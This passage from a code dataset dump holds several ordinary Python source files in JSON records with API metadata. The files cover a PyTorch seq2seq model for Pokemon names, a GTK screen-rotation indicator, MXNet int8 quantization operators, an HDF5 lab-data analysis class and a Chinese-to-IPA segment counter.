"usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FontStyle", "line_number": 1061, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FONT_SANS_SERIF", "line_number": 1062, "usage_type": "name"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1063, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1070, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1077, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FontStyle", "line_number": 1084, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FONT_SANS_SERIF", "line_number": 1085, "usage_type": "name"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1086, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FontStyle", "line_number": 1095, "usage_type": "call"}, {"api_name": "gramps.gen.plug.docgen.FONT_SERIF", "line_number": 1096, "usage_type": "name"}, {"api_name": "gramps.gen.plug.docgen.ParagraphStyle", "line_number": 1097, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.endnotes.add_endnote_styles", "line_number": 1105, "usage_type": "call"}, {"api_name": "gramps.gen.plug.report.endnotes", "line_number": 1105, "usage_type": "name"}]} {"seq_id": "634409139", "text": "import random\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nfrom miscc.config import cfg\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom torchvision import models\nimport torch.utils.model_zoo as model_zoo\n\n\nclass Encoder(nn.Module):\n def __init__(self):\n super(Encoder, self).__init__()\n\n self.hid_dim = cfg.CHARLSTM.DIMENSION\n self.n_layers = 1\n\n self.word_embeds = nn.Embedding(cfg.CHAR.VOCABSIZE, cfg.CHARVEC.DIMENSION)\n\n self.pokemon_embed = nn.Linear(cfg.POKEMON.SIZE, cfg.POKEMON.DIMENSION)\n\n self.rnn = nn.LSTM(cfg.CHARVEC.DIMENSION + cfg.POKEMON.DIMENSION, cfg.CHARLSTM.DIMENSION, 1, dropout=cfg.CHARLSTM.DROPOUT)\n\n self.dropout = nn.Dropout(cfg.CHARLSTM.DROPOUT)\n\n def forward(self, sentence, embedding):\n embeds = self.word_embeds(Variable(sentence))\n concated_emb = torch.cat((embeds, self.pokemon_embed(embedding).repeat(len(sentence), 1, 1)), dim=2)\n lstm_out, (hn, cn) = self.rnn(concated_emb)\n return hn, cn\n\n\n\nclass Decoder(nn.Module):\n def __init__(self):\n super(Decoder, self).__init__()\n\n self.output_dim = cfg.CHAR.VOCABSIZE\n self.hid_dim = cfg.CHARLSTM.DIMENSION\n self.n_layers = 1\n\n self.word_embeds = nn.Embedding(cfg.CHAR.VOCABSIZE + 1, cfg.CHARVEC.DIMENSION)\n\n self.pokemon_embed = nn.Linear(cfg.POKEMON.SIZE, cfg.POKEMON.DIMENSION)\n\n self.rnn = nn.LSTM(cfg.CHARVEC.DIMENSION + cfg.POKEMON.DIMENSION, cfg.CHARLSTM.DIMENSION, 1, dropout=cfg.CHARLSTM.DROPOUT)\n\n self.fc_out = nn.Linear(cfg.CHARLSTM.DIMENSION, cfg.CHAR.VOCABSIZE + cfg.POKEMON.SIZE)\n\n self.dropout = nn.Dropout(cfg.CHARLSTM.DROPOUT)\n\n def forward(self, sentence, embedding, hidden, cell):\n sentence = sentence.unsqueeze(0)\n embeds = self.word_embeds(Variable(sentence))\n concated_emb = torch.cat((embeds, self.pokemon_embed(embedding).unsqueeze(0)), dim=2)\n output, (hidden, cell) = self.rnn(concated_emb, (hidden, cell))\n prediction = self.fc_out(output.squeeze(0))\n output_word = prediction[:, :cfg.CHAR.VOCABSIZE]\n output_emb = prediction[:, cfg.CHAR.VOCABSIZE:]\n\n return output_word, output_emb, hidden, cell\n\n\nclass Seq2Seq(nn.Module):\n def __init__(self, encoder, decoder, device):\n super(Seq2Seq, self).__init__()\n\n self.encoder = encoder\n self.decoder = decoder\n self.device = device\n\n assert encoder.module.hid_dim == decoder.module.hid_dim, \\\n \"Hidden dimensions of encoder and decoder must be equal!\"\n assert encoder.module.n_layers == decoder.module.n_layers, \\\n \"Encoder and decoder must have equal number of layers!\"\n\n def forward(self, pokemon_words, pokemon_emb, teacher_forcing_ratio=0.5):\n # src = [src len, batch size]\n # src = [src len, batch size]\n # teacher_forcing_ratio is probability to use teacher forcing\n # e.g. if teacher_forcing_ratio is 0.75 we use ground-truth inputs 75% of the time\n\n batch_size = pokemon_words.shape[1]\n src_len = pokemon_words.shape[0]\n src_vocab_size = self.decoder.module.output_dim\n\n # tensor to store decoder outputs\n outputs = torch.zeros(src_len, batch_size, src_vocab_size).to(self.device)\n\n # last hidden state of the encoder is used as the initial hidden state of the decoder\n hidden, cell = self.encoder(pokemon_words, pokemon_emb)\n\n # first input to the decoder is the <sos> tokens\n input = torch.tensor([cfg.CHAR.VOCABSIZE]).repeat(cfg.TRAIN.BATCH_SIZE)\n input_pokemon_emb = torch.zeros(cfg.TRAIN.BATCH_SIZE, cfg.POKEMON.SIZE)\n for t in range(src_len):\n # insert input token embedding, previous hidden and previous cell states\n # receive output tensor (predictions) and new hidden and cell states\n output_word, output_emb, hidden, cell = self.decoder(input, input_pokemon_emb, hidden, cell)\n\n # place predictions in a tensor holding predictions for each token\n outputs[t] = output_word\n\n # decide if we are going to use teacher forcing or not\n teacher_force = random.random() < teacher_forcing_ratio\n\n # get the highest predicted token from our predictions\n top1 = torch.argmax(output_word, dim=1)\n\n # if teacher forcing, use actual next token as next input\n # if not, use predicted token\n if teacher_force:\n input = pokemon_words[t]\n input_pokemon_emb = pokemon_emb\n else:\n input = top1\n input_pokemon_emb = output_emb\n\n return outputs, output_emb", "sub_path": "code/auto-encoder-pokemon/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 4733, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn.Module", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARLSTM", "line_number": 16, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHAR", "line_number": 19, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 19, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARVEC", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "miscc.config.cfg.POKEMON", "line_number": 21, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARVEC", "line_number": 23, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 23, "usage_type": "name"}, {"api_name": "miscc.config.cfg.POKEMON", "line_number": 23, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg.CHARLSTM", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.nn.Dropout", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARLSTM", "line_number": 25, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHAR", "line_number": 39, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 39, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARLSTM", "line_number": 40, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHAR", "line_number": 43, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 43, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARVEC", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "miscc.config.cfg.POKEMON", "line_number": 45, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARVEC", "line_number": 47, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 47, "usage_type": "name"}, {"api_name": "miscc.config.cfg.POKEMON", "line_number": 47, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg.CHARLSTM", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARLSTM", "line_number": 49, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 49, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHAR", "line_number": 49, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg.POKEMON", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.nn.Dropout", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHARLSTM", "line_number": 51, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 56, "usage_type": "call"}, {"api_name": "miscc.config.cfg.CHAR", "line_number": 59, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 59, "usage_type": "name"}, {"api_name": "miscc.config.cfg.CHAR", "line_number": 60, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 95, "usage_type": "call"}, {"api_name": "miscc.config.cfg.CHAR", "line_number": 95, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 95, "usage_type": "name"}, {"api_name": "miscc.config.cfg.TRAIN", "line_number": 95, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 96, "usage_type": "call"}, {"api_name": "miscc.config.cfg.TRAIN", "line_number": 96, "usage_type": "attribute"}, {"api_name": "miscc.config.cfg", "line_number": 96, "usage_type": "name"}, {"api_name": "miscc.config.cfg.POKEMON", "line_number": 96, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 109, "usage_type": "call"}]} {"seq_id": "301534224", "text": "#! /usr/bin/env python3\n\nimport os\nimport signal\nfrom subprocess import call\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk\ngi.require_version('AppIndicator3', '0.1')\nfrom gi.repository import AppIndicator3 as AppIndicator\n\nAPPINDICATOR_ID = \"screenrotator\"\norientation = \"right\"\n\ndef main():\n global indicator\n script_path = os.path.dirname(os.path.realpath(__file__))\n icon_path = script_path + '/icon.svg'\n indicator = AppIndicator.Indicator.new(APPINDICATOR_ID, icon_path, AppIndicator.IndicatorCategory.SYSTEM_SERVICES)\n indicator.set_label(\"Horizontal\", \"Horizontal\")\n indicator.set_status(AppIndicator.IndicatorStatus.ACTIVE)\n indicator.set_menu(build_menu())\n Gtk.main()\n\ndef build_menu():\n menu = Gtk.Menu()\n #rotate\n item_rotate = Gtk.MenuItem(label='Rotar pantalla')\n item_rotate.connect('activate', rotate_screen)\n menu.append(item_rotate)\n #seperator\n seperator = Gtk.SeparatorMenuItem()\n menu.append(seperator)\n #quit\n item_quit = Gtk.MenuItem(label='Cerrar')\n item_quit.connect('activate', quit)\n menu.append(item_quit)\n menu.show_all()\n return menu\n\ndef rotate_screen(source):\n global orientation\n if orientation == \"right\":\n indicator.set_label(\"Vertical\", \"Horizontal\")\n direction = \"normal\"\n elif orientation == \"normal\":\n indicator.set_label(\"Horizontal\", \"Horizontal\")\n direction =\"right\"\n call([\"xrandr\", \"-o\", direction])\n orientation = direction\n\nif __name__ == \"__main__\":\n #make sure the screen is in \"right\" orientation when the script starts\n call([\"xrandr\", \"-o\", orientation])\n #keyboard interrupt handler\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n main()\n", "sub_path": "ScreenRotator.py", "file_name": "ScreenRotator.py", "file_ext": "py", "file_size_in_byte": 1740, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gi.require_version", "line_number": 7, "usage_type": "call"}, {"api_name": "gi.require_version", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 17, "usage_type": "call"}, {"api_name": "gi.repository.AppIndicator3.Indicator.new", "line_number": 19, "usage_type": "call"}, {"api_name": "gi.repository.AppIndicator3.Indicator", "line_number": 19, "usage_type": "attribute"}, {"api_name": "gi.repository.AppIndicator3", "line_number": 19, "usage_type": "name"}, {"api_name": "gi.repository.AppIndicator3.IndicatorCategory", "line_number": 19, "usage_type": "attribute"}, {"api_name": "gi.repository.AppIndicator3.IndicatorStatus", "line_number": 21, "usage_type": "attribute"}, {"api_name": "gi.repository.AppIndicator3", "line_number": 21, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main", "line_number": 23, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 23, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Menu", "line_number": 26, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 26, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.MenuItem", "line_number": 28, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 28, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.SeparatorMenuItem", "line_number": 32, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 32, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.MenuItem", "line_number": 35, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 35, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 49, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 54, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 56, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 56, "usage_type": "attribute"}, {"api_name": "signal.SIG_DFL", "line_number": 56, "usage_type": "attribute"}]} {"seq_id": "333048696", "text": "import mxnet as mx\n\nclass Quantization_int8(mx.operator.CustomOp):\n def __init__(self, quant_mode, is_weight, is_weight_perchannel, delay_quant, ema_decay):\n self.quant_mode = quant_mode\n self.is_weight = is_weight\n self.is_weight_perchannel = is_weight_perchannel\n self.delay_quant = delay_quant\n self.ema_decay = ema_decay\n self.QUANT_LEVEL = 127\n self.init = True\n def forward(self, is_train, req, in_data, out_data, aux):\n if is_train and self.delay_quant > 0:\n self.assign(out_data[0], req[0], in_data[0])\n self.delay_quant -= 1\n return\n if self.is_weight:\n data = mx.nd.abs(in_data[0])\n if self.is_weight_perchannel:\n target_shape = (data.shape[0],) + (1,) * len(data.shape[1:])\n reduce_axis = tuple([i for i in range(len(data.shape))])\n maxs = mx.nd.max(data, axis=reduce_axis[1:])\n quant_unit = maxs / self.QUANT_LEVEL\n quant_unit = quant_unit.reshape(target_shape).broadcast_like(in_data[0])\n else:\n maxs = mx.nd.max(data)\n quant_unit = maxs / self.QUANT_LEVEL\n self.assign(out_data[0], req[0], mx.nd.round(in_data[0] / quant_unit) * quant_unit)\n # save weight maxs\n if is_train:\n aux[0][:] = maxs\n else:\n if is_train:\n data = mx.nd.abs(in_data[0])\n maxs = mx.nd.max(data)\n # udpate acativation maxs\n aux[0][:] = aux[0] * self.ema_decay + maxs * (1 - self.ema_decay)\n \n quant_unit = aux[0] / self.QUANT_LEVEL\n self.assign(out_data[0], req[0], mx.nd.round(in_data[0] / quant_unit) * quant_unit)\n def backward(self, req, out_grad, in_data, out_data, in_grad, aux):\n self.assign(in_grad[0], req[0], out_grad[0])\n\n@mx.operator.register(\"Quantization_int8_V2\")\nclass QuantizationInt8Prop(mx.operator.CustomOpProp):\n def __init__(self, quant_mode, is_weight, is_weight_perchannel=False, delay_quant=0, ema_decay=0.99):\n self.quant_mode = str(quant_mode)\n self.delay_quant = int(delay_quant)\n self.ema_decay = float(ema_decay)\n self.is_weight = eval(is_weight)\n self.is_weight_perchannel = eval(is_weight_perchannel)\n super(QuantizationInt8Prop, self).__init__(True)\n def list_arguments(self):\n return ['data']\n def list_outputs(self):\n return ['output']\n def list_auxiliary_states(self):\n return [\"minmax\"]\n def infer_shape(self, in_shape):\n shape = in_shape[0]\n if self.is_weight_perchannel and self.is_weight:\n aux_shape = [shape[0]]\n else:\n aux_shape = [1]\n return [shape], [shape], [aux_shape]\n def infer_type(self, in_type):\n return in_type, in_type, in_type \n\n def create_operator(self, ctx, shapes, dtypes):\n return Quantization_int8(self.quant_mode, self.is_weight,\n self.is_weight_perchannel,\n self.delay_quant, self.ema_decay)\n\n\ndef get_sym_output_channel(name, sym, data_shape=(1, 3, 224, 224)):\n _, out_shapes, _ = sym.infer_shape(data=data_shape)\n assert len(out_shapes) == 1, 'the output of sym is not equal to 1'\n # print('sym:{}:{}'.format(name, sym))\n return out_shapes[0][1]\n\ndef quant_conv(name, data, num_filter, kernel, stride, pad=(0,0), no_bias=True, dilate=(1,1), num_group=1,\n quant_mod='minmax', delay_quant=0, is_weight_perchannel=False):\n if is_weight_perchannel:\n assert quant_mod == \"minmax\", \"currenet weight perchannel only support minmax node with weight\"\n\n input_channel = get_sym_output_channel(name, data)\n weight = mx.sym.Variable(name=name + \"_weight\", shape=(num_filter, input_channel // num_group, kernel[0], kernel[1]), \n dtype=\"float32\")\n weight_q = mx.sym.Custom(data=weight, name = name + \"_weight_quant\", quant_mode=quant_mod, is_weight=True,\n is_weight_perchannel = is_weight_perchannel, ema_decay=0.99, delay_quant=delay_quant, \n op_type=\"Quantization_int8_V2\")\n data_q = mx.sym.Custom(data=data, name = name + \"_data_quant\", quant_mode=quant_mod, is_weight=False,\n is_weight_perchannel = False, ema_decay=0.99, delay_quant=delay_quant, \n op_type=\"Quantization_int8_V2\")\n conv = mx.symbol.Convolution(\n name=name,\n data=data_q,\n num_filter=num_filter,\n kernel=kernel,\n num_group=num_group,\n stride=stride,\n pad=pad,\n no_bias=no_bias,\n dilate=dilate,\n weight=weight_q\n )\n return conv\n\ndef quant_fc(name, data, num_hidden, quant_mod='minmax', delay_quant=0, is_weight_perchannel=False):\n if is_weight_perchannel:\n assert quant_mod == \"minmax\", \"currenet weight perchannel only support minmax node with weight\"\n input_channel = get_sym_output_channel(name, data)\n fc_weight = mx.sym.Variable(name=name +\"_weight\", shape=(num_hidden, input_channel), dtype=\"float32\")\n fc_q = mx.sym.Custom(fc_weight, name= name + \"_weight_quant\", is_weight=True, ema_decay=0.99, \n delay_quant=delay_quant, quant_mode = quant_mod, is_weight_perchannel=is_weight_perchannel,\n op_type=\"Quantization_int8_V2\")\n fc_data_q = mx.sym.Custom(data=data, name= name + \"_data_quant\", is_weight=False, ema_decay=0.99, \n delay_quant=delay_quant, quant_mode = quant_mod, is_weight_perchannel=False,\n op_type=\"Quantization_int8_V2\")\n fc = mx.symbol.FullyConnected(data=fc_data_q, num_hidden=num_hidden, name='fc', weight=fc_q)\n return fc", "sub_path": "symbol/quant_ops.py", "file_name": "quant_ops.py", "file_ext": "py", "file_size_in_byte": 5872, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mxnet.operator", "line_number": 3, "usage_type": "attribute"}, {"api_name": "mxnet.nd.abs", "line_number": 18, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 18, "usage_type": "attribute"}, {"api_name": "mxnet.nd.max", "line_number": 22, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 22, "usage_type": "attribute"}, {"api_name": "mxnet.nd.max", "line_number": 26, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 26, "usage_type": "attribute"}, {"api_name": "mxnet.nd.round", "line_number": 28, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 28, "usage_type": "attribute"}, {"api_name": "mxnet.nd.abs", "line_number": 34, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 34, "usage_type": "attribute"}, {"api_name": "mxnet.nd.max", "line_number": 35, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 35, "usage_type": "attribute"}, {"api_name": "mxnet.nd.round", "line_number": 40, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 40, "usage_type": "attribute"}, {"api_name": "mxnet.operator", "line_number": 45, "usage_type": "attribute"}, {"api_name": "mxnet.operator.register", "line_number": 44, "usage_type": "call"}, {"api_name": "mxnet.operator", "line_number": 44, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Variable", "line_number": 87, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 87, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Custom", "line_number": 89, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 89, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Custom", "line_number": 92, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 92, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.Convolution", "line_number": 95, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 95, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Variable", "line_number": 113, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 113, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Custom", "line_number": 114, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 114, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Custom", "line_number": 117, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 117, "usage_type": "attribute"}, {"api_name": "mxnet.symbol.FullyConnected", "line_number": 120, "usage_type": "call"}, {"api_name": "mxnet.symbol", "line_number": 120, "usage_type": "attribute"}]} {"seq_id": "613956041", "text": "### imports\nimport sys, os, time\nimport logging\nimport numpy as np\nimport h5py\nfrom matplotlib import pyplot as plt\nfrom analysis.lib.tools import toolbox\n\n\nclass M2Analysis:\n\n plot_format = 'png'\n\n def __init__(self, folder, **kw):\n #print 'analyzing in', folder\n self.folder = folder\n self.load_hdf5data(**kw)\n\n \n\n def load_hdf5data(self, **kw):\n self.h5filepath = toolbox.measurement_filename(self.folder)\n h5mode=kw.pop('hdf5_mode', 'r')\n self.f = h5py.File(self.h5filepath,h5mode)\n for k in self.f.keys():\n if type(self.f[k])==h5py.Group and k in os.path.split(self.h5filepath)[1]: # PH added this check because sometimes additional files added to hdf5 file (06/16)\n self.name = k\n self.g = self.f[self.name]\n break\n\n self.measurementstring = os.path.split(self.folder)[1]\n self.timestamp = os.path.split(os.path.split(self.folder)[0])[1] \\\n + '/' + self.measurementstring[:6]\n self.measurementstring = self.measurementstring[7:] \n self.default_plot_title = self.timestamp+'\\n'+self.measurementstring \n\n def finish(self):\n self.f.close()\n\n def adwingrp(self, name=''):\n\n if name != '':\n adwingrpname = name\n else:\n if len(self.g.keys()) == 1:\n adwingrpname = self.g.keys()[0]\n else:\n logging.error(\"More than one measurement. Please give a name\")\n return False\n return self.g[adwingrpname]\n\n def analysis_h5data(self, name='analysis'):\n if not os.path.exists(os.path.join(self.folder, name+'.hdf5')):\n mode = 'w' \n else:\n mode = 'r+' \n \n return h5py.File(os.path.join(self.folder, name+'.hdf5'), mode)\n\n def default_fig(self, **kw):\n figsize = kw.pop('figsize', (4,4))\n\n return plt.figure(figsize=figsize, **kw)\n\n def default_ax(self, fig=None, *arg, **kw):\n if fig == None:\n fig = self.default_fig(*arg, **kw)\n\n ax = fig.add_subplot(111)\n ax.set_title(self.timestamp+'\\n'+self.measurementstring)\n\n return ax\n\n def save_fig_incremental_filename(self,fig,savename):\n i=1\n sfn=os.path.join(self.folder, savename+'-{}.png'.format(i))\n while(os.path.exists(sfn)):\n sfn=os.path.splitext(sfn)[0][:-2]+'-{}.png'.format(i)\n i=i+1\n fig.savefig(sfn,format='png')\n\n\n\n\n", "sub_path": "lib/m2/m2.py", "file_name": "m2.py", "file_ext": "py", "file_size_in_byte": 2557, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "analysis.lib.tools.toolbox.measurement_filename", "line_number": 22, "usage_type": "call"}, {"api_name": "analysis.lib.tools.toolbox", "line_number": 22, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 24, "usage_type": "call"}, {"api_name": "h5py.Group", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}]} {"seq_id": "17102574", "text": "import argparse\nimport codecs\nimport logging\nfrom collections import Counter\n\nimport epihan\nimport panphon\nimport unicodecsv as csv\n\nlogging.basicConfig(level=logging.WARNING)\n\n\ndef normpunc(epi, s):\n def norm(c):\n if c in dict(epi.punc):\n return epi.normalize_punc(c)\n else:\n return c\n return ''.join(map(norm, s))\n\n\ndef add_record_gen(epi, ft, orth):\n space = Counter()\n orth = normpunc(epi, orth)\n trans = epi.transliterate(orth)\n while trans:\n pref = ft.longest_one_seg_prefix(trans)\n if pref != '':\n space[pref] += 1\n trans = trans[len(pref):]\n else:\n if trans[0] in epi.puncnorm_vals:\n space[trans[0]] += 1\n else:\n space[trans[0]] += 1\n trans = trans[1:]\n return space\n\n\ndef add_file(epi, ft, fn):\n space = Counter()\n with codecs.open(fn, 'r', 'utf-8') as f:\n for line in f:\n fields = line.split(u'\\t')\n if len(fields) > 0:\n orth = fields[0]\n space.update(add_record_gen(epi, ft, orth))\n logging.debug(u'Length of counter:\\t{}'.format(len(space)))\n return space\n\n\ndef print_space(output, space):\n pairs = enumerate(sorted(filter(lambda x: x, space.keys())))\n with open(output, 'wb') as f:\n writer = csv.writer(f, encoding='utf-8')\n for i, char in pairs:\n writer.writerow((i, char))\n\n\ndef main(infiles, output):\n epi = epihan.Epihan('cedict', 'pinyin-to-ipa')\n ft = panphon.FeatureTable()\n space = Counter()\n for fn in infiles:\n logging.debug(u'Scanning:\\t{}'.format(fn).encode('utf-8'))\n space.update(add_file(epi, ft, fn))\n print_space(output, space)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-o', '--output', help='Output file.')\n parser.add_argument('infiles', nargs='+', help='CONLL files serving as basis for segment space.')\n args = parser.parse_args()\n main(args.infiles, args.output)\n", "sub_path": "epihan/bin/cmn2ipaspace.py", "file_name": "cmn2ipaspace.py", "file_ext": "py", "file_size_in_byte": 2052, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 10, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 41, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 48, "usage_type": "call"}, {"api_name": "unicodecsv.writer", "line_number": 55, "usage_type": "call"}, {"api_name": "epihan.Epihan", "line_number": 61, "usage_type": 